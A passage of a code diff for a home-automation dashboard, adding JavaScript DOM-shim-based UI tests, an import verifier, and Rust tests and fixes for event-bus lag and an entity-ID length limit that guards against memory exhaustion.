this.disabled = false;
|
||||
this.value = '';
|
||||
}
|
||||
set className(v) { this._class = v || ''; this.classList.set = new Set(String(v || '').split(/\s+/).filter(Boolean)); }
|
||||
get className() { return this._class; }
|
||||
set innerHTML(v) { this._html = v; }
|
||||
get innerHTML() { return this._html || ''; }
|
||||
set textContent(v) { this._text = v; this.children = []; }
|
||||
get textContent() { return this._text || this.children.map((c) => c.textContent || c._text || '').join(''); }
|
||||
appendChild(c) { c.parentNode = this; this.children.push(c); return c; }
|
||||
insertBefore(c, ref) { const i = this.children.indexOf(ref); c.parentNode = this; if (i < 0) this.children.push(c); else this.children.splice(i, 0, c); return c; }
|
||||
removeChild(c) { const i = this.children.indexOf(c); if (i >= 0) this.children.splice(i, 1); c.parentNode = null; return c; }
|
||||
remove() { if (this.parentNode) this.parentNode.removeChild(this); }
|
||||
get firstChild() { return this.children[0] || null; }
|
||||
setAttribute(k, v) { this.attrs[k] = String(v); }
|
||||
getAttribute(k) { return this.attrs[k] ?? null; }
|
||||
addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
|
||||
removeEventListener(t, fn) { this.listeners[t] = (this.listeners[t] || []).filter((f) => f !== fn); }
|
||||
dispatch(t, detail) { (this.listeners[t] || []).forEach((fn) => fn({ detail, target: this, preventDefault() {}, stopPropagation() {} })); }
|
||||
_all() { return this.children.flatMap((c) => [c, ...(c._all ? c._all() : [])]); }
|
||||
matchesSel(sel) {
|
||||
return sel.split(/\s+/).pop().split('.').every((p, i, arr) => {
|
||||
if (i === 0 && p && !p.startsWith('.') && !p.startsWith('#')) { if (p.startsWith('.')) {} }
|
||||
return true;
|
||||
});
|
||||
}
|
||||
querySelector(sel) {
|
||||
const want = sel.replace(/^.*\s/, '');
|
||||
const cls = want.startsWith('.') ? want.slice(1) : null;
|
||||
return this._all().find((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase())) || null;
|
||||
}
|
||||
querySelectorAll(sel) {
|
||||
const want = sel.replace(/^.*\s/, '');
|
||||
const cls = want.startsWith('.') ? want.slice(1) : null;
|
||||
return this._all().filter((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase()));
|
||||
}
|
||||
}
|
||||
|
||||
class TextNode { constructor(t) { this.textContent = String(t); this._text = String(t); this.nodeType = 3; this.parentNode = null; } remove() { if (this.parentNode) this.parentNode.removeChild(this); } }
|
||||
|
||||
// Node instanceof checks in ui.js use `instanceof Node`; expose a Node base.
|
||||
globalThis.Node = El;
|
||||
// TextNode must also pass `instanceof Node` (ui.js append() treats text via createTextNode).
|
||||
Object.setPrototypeOf(TextNode.prototype, El.prototype);
|
||||
|
||||
const body = new El('body');
|
||||
const documentObj = {
|
||||
createElement: (t) => new El(t),
|
||||
createElementNS: (_ns, t) => new El(t),
|
||||
createTextNode: (t) => new TextNode(t),
|
||||
getElementById: (id) => byId[id] || (byId[id] = mkRoot(id)),
|
||||
body,
|
||||
readyState: 'complete',
|
||||
addEventListener() {},
|
||||
querySelectorAll: () => [],
|
||||
};
|
||||
const byId = {};
|
||||
function mkRoot(id) { const e = new El('div'); e.id = id; return e; }
|
||||
|
||||
export function install() {
|
||||
globalThis.document = documentObj;
|
||||
globalThis.EventTarget = class { constructor() { this._l = {}; } addEventListener(t, fn) { (this._l[t] ||= []).push(fn); } removeEventListener(t, fn) { this._l[t] = (this._l[t] || []).filter((f) => f !== fn); } dispatchEvent(e) { (this._l[e.type] || []).forEach((fn) => fn(e)); return true; } };
|
||||
// window with a navigable location.hash that fires `hashchange`.
|
||||
const win = new globalThis.EventTarget();
|
||||
let _hash = '';
|
||||
const loc = { host: 'localhost:8123', protocol: 'http:', get hash() { return _hash; }, set hash(v) { _hash = String(v).startsWith('#') ? String(v) : '#' + v; win.dispatchEvent({ type: 'hashchange' }); } };
|
||||
win.location = loc;
|
||||
globalThis.window = win;
|
||||
globalThis.location = loc;
|
||||
globalThis.localStorage = { _m: {}, getItem(k) { return this._m[k] ?? null; }, setItem(k, v) { this._m[k] = String(v); } };
|
||||
globalThis.fetch = () => Promise.reject(new Error('offline (test) — panels fall back to mock per §7.1'));
|
||||
globalThis.WebSocket = class { constructor() { this.readyState = 0; } send() {} close() {} };
|
||||
globalThis.CustomEvent = class { constructor(t, o) { this.type = t; this.detail = o && o.detail; } };
|
||||
return { El, TextNode, body, document: documentObj, window: win, location: loc };
|
||||
}
|
||||
|
||||
export { El, TextNode };
|
||||
@@ -0,0 +1,86 @@
|
||||
// Interaction tests — the dynamic behaviours that syntax/render checks
|
||||
// cannot reach: the live WebSocket entity patch (§4.4 "never poll"), the
|
||||
// ws.js handshake + event parse (ADR-130), and the calibration backend
|
||||
// driving the §4.7 wizard. Run: node tests/interaction.mjs
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
globalThis.HOMECORE_UI_DEMO = true; // exercise the demo/calibration fixture path
|
||||
|
||||
const fails = [], passes = [];
|
||||
async function t(name, fn) {
|
||||
try { await fn(); passes.push(name); }
|
||||
catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
|
||||
}
|
||||
const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
|
||||
|
||||
// ── 1. entities panel patches state live over the bus (no polling) ──
|
||||
await t('entities: live state_changed patches the row in place', async () => {
|
||||
const entities = (await import('../js/panels/entities.js')).default;
|
||||
const { api } = await import('../js/api.js');
|
||||
let handler = null;
|
||||
const ctx = {
|
||||
api, navigate() {}, params: {},
|
||||
onEvent(fn) { handler = fn; return () => {}; },
|
||||
onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; },
|
||||
};
|
||||
const root = document.createElement('div');
|
||||
await entities.render(root, ctx);
|
||||
assert(typeof handler === 'function', 'panel must register an onEvent handler (it must not poll)');
|
||||
|
||||
const before = root.querySelectorAll('.t1').map((n) => n.textContent);
|
||||
assert(before.some((x) => x === 'true'), 'living_room_presence should start "true" from the mock fallback');
|
||||
|
||||
// Fire a live event; ws.js delivers new_state as a StateView object.
|
||||
handler({ event_type: 'state_changed', entity_id: 'sensor.living_room_presence', old_state: { state: 'true' }, new_state: { state: 'false' } });
|
||||
|
||||
const after = root.querySelectorAll('.t1').map((n) => n.textContent);
|
||||
assert(after.some((x) => x === 'false'), 'row should now show patched state "false"');
|
||||
});
|
||||
|
||||
// ── 2. ws.js performs the HA-compat handshake and parses events ─────
|
||||
await t('ws.js: handshake → subscribe_events → parsed event', async () => {
|
||||
const sent = [];
|
||||
let inst = null;
|
||||
globalThis.WebSocket = class { constructor(url) { this.url = url; inst = this; } send(m) { sent.push(JSON.parse(m)); } close() { this.onclose && this.onclose(); } };
|
||||
const { connect } = await import('../js/ws.js?ws-test');
|
||||
const got = [], status = [];
|
||||
const ctrl = connect((e) => got.push(e), (s) => status.push(s));
|
||||
assert(inst, 'WebSocket should be constructed');
|
||||
|
||||
inst.onmessage({ data: JSON.stringify({ type: 'auth_required', ha_version: 'x' }) });
|
||||
assert(sent[0] && sent[0].type === 'auth' && 'access_token' in sent[0], 'must reply to auth_required with an auth token');
|
||||
|
||||
inst.onmessage({ data: JSON.stringify({ type: 'auth_ok', ha_version: 'x' }) });
|
||||
assert(sent.some((m) => m.type === 'subscribe_events' && m.event_type === 'state_changed'), 'must subscribe_events after auth_ok');
|
||||
|
||||
inst.onmessage({ data: JSON.stringify({ type: 'event', event: { event_type: 'state_changed', data: { entity_id: 'light.x', old_state: { state: 'off' }, new_state: { state: 'on' } } } }) });
|
||||
assert(got.length === 1, 'one event expected');
|
||||
assert(got[0].entity_id === 'light.x' && got[0].new_state.state === 'on', 'event fields must parse through');
|
||||
|
||||
inst.onmessage({ data: JSON.stringify({ type: 'lagged' }) });
|
||||
assert(ctrl.isLagged(), 'lag signal should set isLagged');
|
||||
ctrl.close();
|
||||
});
|
||||
|
||||
// ── 3. calibration backend drives the 5-step wizard contract ───────
|
||||
await t('calibration: start→status→anchor→train contract', async () => {
|
||||
const { api } = await import('../js/api.js');
|
||||
const cal = api.calibration;
|
||||
cal.reset();
|
||||
const bl = await cal.start();
|
||||
assert(bl.baseline_id, 'start() returns a baseline_id (the STALE anchor)');
|
||||
let st;
|
||||
for (let i = 0; i < 10; i++) { st = await cal.status(); if (st.frames >= st.target) break; }
|
||||
assert(st.frames >= st.target, 'status() converges to target frames');
|
||||
|
||||
for (const label of cal.ANCHORS) await cal.anchor(label);
|
||||
assert((await cal.enrollStatus()).accepted.length >= 6, 'most anchors accepted after enrollment');
|
||||
|
||||
const trained = await cal.train();
|
||||
assert(trained.presence && trained.anomaly, 'train() returns non-null specialists when enrolled');
|
||||
cal.reset();
|
||||
});
|
||||
|
||||
console.log(`\n${passes.length} passed, ${fails.length} failed`);
|
||||
if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — live WS patch, ws.js handshake/parse, and calibration contract verified');
|
||||
@@ -0,0 +1,45 @@
|
||||
// Production-mode test (ADR-131 §2.2 / §11.11): with demo mode OFF and
|
||||
// the gateway unreachable, every panel must render a typed empty/error
|
||||
// state WITHOUT throwing and WITHOUT showing fabricated data.
|
||||
// Run: node tests/prod-errors.mjs
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
globalThis.HOMECORE_UI_DEMO = false; // PRODUCTION path — no fixtures
|
||||
// fetch already rejects in the shim → simulates an unreachable gateway.
|
||||
|
||||
const fails = [], passes = [];
|
||||
async function t(name, fn) {
|
||||
try { await fn(); passes.push(name); }
|
||||
catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
|
||||
}
|
||||
const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
|
||||
|
||||
const { api, demoMode } = await import('../js/api.js');
|
||||
|
||||
await t('demoMode() is false in production', () => assert(demoMode() === false));
|
||||
await t('api.anyDemo() is false in production', () => assert(api.anyDemo() === false));
|
||||
|
||||
const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
|
||||
const ctx = {
|
||||
api, navigate() {}, params: { id: 'seed-livingroom-a1' },
|
||||
onEvent() { return () => {}; },
|
||||
onWs(fn) { fn({ state: 'closed', lagged: false }); return () => {}; },
|
||||
};
|
||||
|
||||
for (const name of PANELS) {
|
||||
await t(`prod render (gateway down): ${name} shows a state, never throws`, async () => {
|
||||
const mod = await import(`../js/panels/${name}.js`);
|
||||
const root = document.createElement('div');
|
||||
const cleanup = await mod.default.render(root, ctx);
|
||||
// must render SOMETHING (header + error/empty state), not crash, not blank
|
||||
assert(root.children.length > 0, 'panel rendered nothing in prod error mode');
|
||||
if (typeof cleanup === 'function') cleanup();
|
||||
});
|
||||
}
|
||||
|
||||
// No data accessor may have flipped a demo flag in production.
|
||||
await t('no demo flags set after production renders', () => assert(api.anyDemo() === false, 'a panel served mock data in production'));
|
||||
|
||||
console.log(`\n${passes.length} passed, ${fails.length} failed`);
|
||||
if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — every panel renders a typed empty/error state in production with no mock fallback');
|
||||
@@ -0,0 +1,109 @@
|
||||
// Render-smoke test — actually executes every HOMECORE-UI panel against
|
||||
// the DOM shim and asserts each builds a non-empty DOM subtree without
|
||||
// throwing. Also exercises the ui.js helpers and the mock contract.
|
||||
// Run: node tests/render-smoke.mjs (from the ui/ dir)
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
globalThis.HOMECORE_UI_DEMO = true; // render panels against fixtures
|
||||
|
||||
const fails = [];
|
||||
const passes = [];
|
||||
function check(name, fn) {
|
||||
try { fn(); passes.push(name); }
|
||||
catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
|
||||
}
|
||||
async function checkAsync(name, fn) {
|
||||
try { await fn(); passes.push(name); }
|
||||
catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
|
||||
}
|
||||
|
||||
const ui = await import('../js/ui.js');
|
||||
const { api, entityProvenance } = await import('../js/api.js');
|
||||
const mock = await import('../js/mock.js');
|
||||
|
||||
// ── ui.js helper unit checks ────────────────────────────────────────
|
||||
check('ui.h builds element with class/id', () => {
|
||||
const n = ui.h('div.card#x', { 'data-k': 'v' }, 'hi');
|
||||
if (n.tagName !== 'DIV') throw new Error('tag');
|
||||
if (!n.classList.contains('card')) throw new Error('class');
|
||||
if (n.id !== 'x') throw new Error('id');
|
||||
});
|
||||
check('ui.statusPill maps running→green', () => {
|
||||
const p = ui.statusPill('running');
|
||||
if (!p.classList.contains('green')) throw new Error('expected green pill');
|
||||
});
|
||||
check('ui.statusPill maps offline→red', () => {
|
||||
if (!ui.statusPill('offline').classList.contains('red')) throw new Error('expected red');
|
||||
});
|
||||
check('ui.bar applies threshold colour', () => {
|
||||
const b = ui.bar(0.9, 1, [{ lt: 0.3, color: 'green' }, { lt: 0.6, color: 'amber' }, { lt: 1.01, color: 'red' }]);
|
||||
if (!b.firstChild.classList.contains('red')) throw new Error('expected red fill at 0.9');
|
||||
});
|
||||
check('ui.confidenceBar amber under 0.4', () => {
|
||||
if (!ui.confidenceBar(0.2).firstChild.classList.contains('amber')) throw new Error('low conf should be amber');
|
||||
});
|
||||
check('ui.provenanceBadge marks hailo', () => {
|
||||
const p = ui.provenanceBadge({ esp32: 'e', seed: 's', cog: 'c', hailo: true });
|
||||
if (!p.querySelector('.hailo')) throw new Error('hailo class missing');
|
||||
});
|
||||
check('ui.sparkline yields svg polyline', () => {
|
||||
const s = ui.sparkline([1, 2, 3, 4]);
|
||||
if (!s.querySelector('polyline')) throw new Error('no polyline');
|
||||
});
|
||||
|
||||
// ── mock contract checks ────────────────────────────────────────────
|
||||
check('mock RoomState distinguishes null vs withheld', () => {
|
||||
const rs = mock.roomStates();
|
||||
const office = rs.find((r) => r.room_id === 'office');
|
||||
if (office.posture !== null) throw new Error('office posture should be null (not trained)');
|
||||
const kitchen = rs.find((r) => r.room_id === 'kitchen');
|
||||
if (!kitchen.vetoed) throw new Error('kitchen should be vetoed');
|
||||
if (kitchen.posture.value !== null) throw new Error('vetoed posture value should be null/withheld, not zero');
|
||||
});
|
||||
check('analysis covers at least 3 bedrooms', () => {
|
||||
const beds = mock.roomStates().filter((r) => /^bedroom/.test(r.room_id));
|
||||
if (beds.length < 3) throw new Error(`expected ≥3 bedrooms in RoomState analysis, got ${beds.length}`);
|
||||
const bedSeeds = mock.seeds().filter((s) => /bedroom/i.test(s.zone));
|
||||
if (bedSeeds.length < 3) throw new Error(`expected ≥3 bedroom SEED nodes, got ${bedSeeds.length}`);
|
||||
});
|
||||
check('mock fleet has an offline seed with red tint semantics', () => {
|
||||
if (!mock.seeds().some((s) => !s.online)) throw new Error('need an offline seed for §4.1 tint');
|
||||
});
|
||||
check('mock federation states the raw-CSI invariant', () => {
|
||||
if (!/never raw CSI/i.test(mock.federation().invariant)) throw new Error('invariant text missing');
|
||||
});
|
||||
check('entityProvenance derives node→seed chain', () => {
|
||||
const prov = entityProvenance({ attributes: { source: 'esp32-lr-01 BFLD' } });
|
||||
if (prov.esp32 !== 'esp32-lr-01') throw new Error('node parse failed');
|
||||
if (!prov.seed) throw new Error('seed mapping failed');
|
||||
});
|
||||
|
||||
// ── render every panel ──────────────────────────────────────────────
|
||||
const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
|
||||
const ctx = {
|
||||
api,
|
||||
navigate() {},
|
||||
params: { id: 'seed-livingroom-a1' },
|
||||
onEvent() { return () => {}; },
|
||||
onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; },
|
||||
wsStatus: () => ({ state: 'open', lagged: false }),
|
||||
bus: new globalThis.EventTarget(),
|
||||
};
|
||||
|
||||
for (const name of PANELS) {
|
||||
await checkAsync(`render panel: ${name}`, async () => {
|
||||
const mod = await import(`../js/panels/${name}.js`);
|
||||
const panel = mod.default;
|
||||
if (!panel || typeof panel.render !== 'function') throw new Error('no default.render export');
|
||||
if (!panel.meta || !panel.meta.title) throw new Error('missing meta.title');
|
||||
const root = document.createElement('div');
|
||||
const cleanup = await panel.render(root, ctx);
|
||||
if (root.children.length === 0) throw new Error('rendered nothing into root');
|
||||
if (cleanup && typeof cleanup === 'function') cleanup(); // must not throw
|
||||
});
|
||||
}
|
||||
|
||||
// ── report ──────────────────────────────────────────────────────────
|
||||
console.log(`\n${passes.length} passed, ${fails.length} failed`);
|
||||
if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — all ui helpers, mock contracts, and 10 panels render without throwing');
|
||||
@@ -0,0 +1,101 @@
|
||||
// Regression tests pinning the ADR-131 PR-1082 review fixes:
|
||||
// * dashboard renders a not-available state ('—') for null appliance
|
||||
// metrics — never "null%"/"null°C" (§6 honesty / fabricated-data fix).
|
||||
// * cogs panel does NOT throw when the gateway forwards a `hef` that is a
|
||||
// string (or other non-array) instead of an array (crash/robustness fix).
|
||||
// * cogs Hailo worker pill reflects the real probe, not a hardcoded
|
||||
// "connected" (§6 honesty fix).
|
||||
// Run: node tests/unit-fixes.mjs
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
globalThis.HOMECORE_UI_DEMO = false; // production path — no fixtures
|
||||
|
||||
const fails = [], passes = [];
|
||||
async function t(name, fn) {
|
||||
try { await fn(); passes.push(name); }
|
||||
catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
|
||||
}
|
||||
const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
|
||||
|
||||
const { api } = await import('../js/api.js');
|
||||
|
||||
// Shared ctx; per-test we override the api accessors we need.
|
||||
function ctxWith(overrides) {
|
||||
return {
|
||||
api: Object.assign(Object.create(api), overrides),
|
||||
navigate() {},
|
||||
params: {},
|
||||
onEvent() { return () => {}; },
|
||||
onWs(fn) { fn({ state: 'closed', lagged: false }); return () => {}; },
|
||||
};
|
||||
}
|
||||
|
||||
// ── dashboard: null metrics → '—', never "null%"/"null°C" ─────────────
|
||||
await t('dashboard renders not-available for null hailo metrics (no "null%")', async () => {
|
||||
const mod = await import('../js/panels/dashboard.js');
|
||||
const root = document.createElement('div');
|
||||
const ctx = ctxWith({
|
||||
appliance: async () => ({
|
||||
cpu_pct: 12.5, ram_pct: 40.1,
|
||||
hailo_load_pct: null, hailo_temp_c: null, // the fabricated-data trap
|
||||
uptime_s: null,
|
||||
services: [{ name: 'ruview-mcp-brain', port: 9876, status: 'unreachable' }],
|
||||
event_rate: [], channel_capacity: 4096, channel_lag: 0,
|
||||
}),
|
||||
seeds: async () => [],
|
||||
esp32Warnings: async () => [],
|
||||
cogs: async () => [],
|
||||
anyDemo: () => false,
|
||||
});
|
||||
const cleanup = await mod.default.render(root, ctx);
|
||||
const text = root.textContent;
|
||||
assert(!/null\s*%/.test(text), `dashboard showed "null%": ${text.slice(0, 200)}`);
|
||||
assert(!/null\s*°C/.test(text), `dashboard showed "null°C": ${text.slice(0, 200)}`);
|
||||
assert(text.includes('—'), 'dashboard should render the "—" not-available marker for null metrics');
|
||||
// real values must still concatenate their unit
|
||||
assert(text.includes('12.5%'), 'real CPU value must still render with its unit');
|
||||
if (typeof cleanup === 'function') cleanup();
|
||||
});
|
||||
|
||||
// ── cogs: string `hef` must not throw ─────────────────────────────────
|
||||
await t('cogs does not throw when hef is a string (non-array)', async () => {
|
||||
const mod = await import('../js/panels/cogs.js');
|
||||
const root = document.createElement('div');
|
||||
const ctx = ctxWith({
|
||||
cogs: async () => [
|
||||
{ id: 'cog-pose', version: '1.0', arch: 'hailo10', status: 'running', pid: 42,
|
||||
sha256_verified: true, signature_verified: true, throughput_fps: 30,
|
||||
hef: 'pose_estimation.hef' }, // STRING, not array — the crash trap
|
||||
],
|
||||
cogUpdates: async () => [],
|
||||
appliance: async () => ({ services: [{ name: 'ruvector-hailo-worker', port: 50051, status: 'running' }] }),
|
||||
isDemo: () => false,
|
||||
});
|
||||
// If asArray() weren't applied, .forEach/.join/.length on a string would throw.
|
||||
const cleanup = await mod.default.render(root, ctx);
|
||||
assert(root.children.length > 0, 'cogs rendered nothing');
|
||||
// The string hef should surface as a single loaded HEF row.
|
||||
assert(root.textContent.includes('pose_estimation.hef'), 'string hef should render as one HEF entry');
|
||||
if (typeof cleanup === 'function') cleanup();
|
||||
});
|
||||
|
||||
// ── cogs: Hailo worker pill reflects the real probe, not hardcoded ────
|
||||
await t('cogs Hailo worker pill is unknown when appliance probe is unavailable', async () => {
|
||||
const mod = await import('../js/panels/cogs.js');
|
||||
const root = document.createElement('div');
|
||||
const ctx = ctxWith({
|
||||
cogs: async () => [],
|
||||
cogUpdates: async () => [],
|
||||
appliance: async () => { throw new Error('appliance upstream down'); }, // probe fails
|
||||
isDemo: () => false,
|
||||
});
|
||||
const cleanup = await mod.default.render(root, ctx);
|
||||
// statusPill('unknown') → grey pill containing the literal label "unknown".
|
||||
assert(root.textContent.includes('unknown'), 'worker status should be honestly "unknown" when probe fails');
|
||||
assert(!/connected/.test(root.textContent), 'worker pill must not fabricate "connected"');
|
||||
if (typeof cleanup === 'function') cleanup();
|
||||
});
|
||||
|
||||
console.log(`\n${passes.length} passed, ${fails.length} failed`);
|
||||
if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — dashboard not-available, cogs string-hef + honest worker pill pinned');
|
||||
@@ -0,0 +1,67 @@
|
||||
// Static import/export graph verifier for HOMECORE-UI.
|
||||
// No deps — parses `import { a, b } from './x.js'` against the named
|
||||
// exports of x.js. Fails if a panel imports a symbol that doesn't exist.
|
||||
// Run: node tests/verify-imports.mjs (from the ui/ dir)
|
||||
import { readFileSync, readdirSync } from 'node:fs';
|
||||
import { dirname, resolve } from 'node:path';
|
||||
|
||||
const ROOT = resolve(import.meta.dirname, '..');
|
||||
const files = [
|
||||
'js/ui.js', 'js/api.js', 'js/ws.js', 'js/mock.js', 'js/app.js',
|
||||
...readdirSync(resolve(ROOT, 'js/panels')).filter((f) => f.endsWith('.js')).map((f) => 'js/panels/' + f),
|
||||
];
|
||||
|
||||
function namedExports(src) {
|
||||
const out = new Set();
|
||||
// export function/const/class NAME
|
||||
for (const m of src.matchAll(/export\s+(?:async\s+)?(?:function|const|let|class)\s+([A-Za-z0-9_$]+)/g)) out.add(m[1]);
|
||||
// export { a, b as c }
|
||||
for (const m of src.matchAll(/export\s*\{([^}]*)\}/g)) {
|
||||
for (const part of m[1].split(',')) {
|
||||
const name = part.trim().split(/\s+as\s+/).pop().trim();
|
||||
if (name) out.add(name);
|
||||
}
|
||||
}
|
||||
if (/export\s+default/.test(src)) out.add('default');
|
||||
return out;
|
||||
}
|
||||
|
||||
function imports(src) {
|
||||
const res = [];
|
||||
for (const m of src.matchAll(/import\s+([^;]+?)\s+from\s+['"]([^'"]+)['"]/g)) {
|
||||
const clause = m[1].trim(), spec = m[2];
|
||||
const names = [];
|
||||
const named = clause.match(/\{([^}]*)\}/);
|
||||
if (named) for (const p of named[1].split(',')) { const n = p.trim().split(/\s+as\s+/)[0].trim(); if (n) names.push(n); }
|
||||
const def = clause.replace(/\{[^}]*\}/, '').replace(/\*\s+as\s+\w+/, '').replace(/,/g, '').trim();
|
||||
if (def) names.push('default');
|
||||
if (/\*\s+as\s+/.test(clause)) names.push('*');
|
||||
res.push({ spec, names });
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
const exportCache = {};
|
||||
function exportsOf(absPath) {
|
||||
if (!exportCache[absPath]) exportCache[absPath] = namedExports(readFileSync(absPath, 'utf8'));
|
||||
return exportCache[absPath];
|
||||
}
|
||||
|
||||
let errors = 0;
|
||||
for (const rel of files) {
|
||||
const abs = resolve(ROOT, rel);
|
||||
const src = readFileSync(abs, 'utf8');
|
||||
for (const imp of imports(src)) {
|
||||
if (!imp.spec.startsWith('.')) continue; // skip bare specifiers
|
||||
const target = resolve(dirname(abs), imp.spec);
|
||||
let exps;
|
||||
try { exps = exportsOf(target); } catch { console.error(`✗ ${rel}: cannot resolve ${imp.spec}`); errors++; continue; }
|
||||
for (const n of imp.names) {
|
||||
if (n === '*') continue;
|
||||
if (!exps.has(n)) { console.error(`✗ ${rel}: imports '${n}' from ${imp.spec} which does not export it`); errors++; }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (errors) { console.error(`\nFAILED — ${errors} unresolved import(s)`); process.exit(1); }
|
||||
console.log(`OK — import/export graph consistent across ${files.length} modules`);
|
||||
@@ -87,4 +87,64 @@ mod tests {
|
||||
assert_eq!(event.event_type, "ruview_csi_frame");
|
||||
assert_eq!(event.event_data["frame_id"], 42);
|
||||
}
|
||||
|
||||
/// Bus-lag safety (same failure class as the homecore-api WS
|
||||
/// broadcast-lag DoS, here on the core bus): a subscriber that never
|
||||
/// drains must NOT block the publisher, must NOT make the channel grow
|
||||
/// without bound, and must NOT take down a healthy fast subscriber. The
|
||||
/// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
|
||||
/// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
|
||||
///
|
||||
/// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
|
||||
/// while a slow subscriber sits idle. Every `fire_domain` returns
|
||||
/// promptly (publisher never blocked); the slow receiver observes
|
||||
/// `Lagged` then re-syncs to live events; the fast receiver — created
|
||||
/// after the flood and kept drained — receives all subsequent events
|
||||
/// with no loss. The bus stays live throughout.
|
||||
#[tokio::test]
|
||||
async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
|
||||
use tokio::sync::broadcast::error::TryRecvError;
|
||||
|
||||
let bus = EventBus::new();
|
||||
// Slow subscriber: subscribes, then never drains during the flood.
|
||||
let mut slow = bus.subscribe_domain();
|
||||
|
||||
// Publisher fires 3× capacity. None of these may block.
|
||||
let total = EVENT_CHANNEL_CAPACITY * 3;
|
||||
for i in 0..total {
|
||||
// Returns the receiver count (>=1 here); the point is it
|
||||
// returns AT ALL without awaiting the slow receiver.
|
||||
let _ = bus.fire_domain(DomainEvent::new(
|
||||
"flood",
|
||||
serde_json::json!({ "i": i }),
|
||||
Context::new(),
|
||||
));
|
||||
}
|
||||
|
||||
// The slow receiver is forced past capacity → recoverable Lagged,
|
||||
// NOT a closed channel and NOT a hang.
|
||||
let mut saw_lagged = false;
|
||||
loop {
|
||||
match slow.try_recv() {
|
||||
Ok(_) => {}
|
||||
Err(TryRecvError::Lagged(n)) => {
|
||||
assert!(n > 0);
|
||||
saw_lagged = true;
|
||||
}
|
||||
Err(TryRecvError::Empty) => break,
|
||||
Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
|
||||
}
|
||||
}
|
||||
assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
|
||||
|
||||
// The bus is still live: a fresh fast subscriber receives new events.
|
||||
let mut fast = bus.subscribe_domain();
|
||||
bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
|
||||
let evt = fast.recv().await.unwrap();
|
||||
assert_eq!(evt.event_type, "live");
|
||||
|
||||
// And the lagged subscriber recovers (re-syncs) to live events too.
|
||||
let evt2 = slow.recv().await.unwrap();
|
||||
assert_eq!(evt2.event_type, "live");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
|
||||
/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
|
||||
/// entity/registry maps are keyed on `EntityId`, and the REST layer
|
||||
/// (`homecore-api`) parses untrusted path segments straight through
|
||||
/// [`EntityId::parse`]; an unbounded id would let a single `POST
|
||||
/// /api/states/<giant>` permanently grow the state map (memory DoS). We
|
||||
/// fail closed at the boundary instead.
|
||||
pub const MAX_ENTITY_ID_LEN: usize = 255;
|
||||
|
||||
impl EntityId {
|
||||
/// Validates and constructs an `EntityId`. Returns
|
||||
/// [`EntityIdError`] if the input is not `domain.name` shape with
|
||||
/// ASCII lowercase / digits / underscore in each segment.
|
||||
/// ASCII lowercase / digits / underscore in each segment, or if it
|
||||
/// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
|
||||
pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
|
||||
let s: String = s.into();
|
||||
// Bound the length BEFORE any further work so an oversized input is
|
||||
// cheap to reject (no per-char scan of megabytes).
|
||||
if s.len() > MAX_ENTITY_ID_LEN {
|
||||
return Err(EntityIdError::TooLong {
|
||||
len: s.len(),
|
||||
max: MAX_ENTITY_ID_LEN,
|
||||
});
|
||||
}
|
||||
let (domain, name) = s
|
||||
.split_once('.')
|
||||
.ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
|
||||
@@ -111,6 +129,8 @@ pub enum EntityIdError {
|
||||
EmptyName(String),
|
||||
#[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
|
||||
InvalidChar { entity_id: String, ch: char },
|
||||
#[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
|
||||
TooLong { len: usize, max: usize },
|
||||
}
|
||||
|
||||
/// Immutable state snapshot for one entity at one moment in time.
|
||||
@@ -217,6 +237,39 @@ mod tests {
|
||||
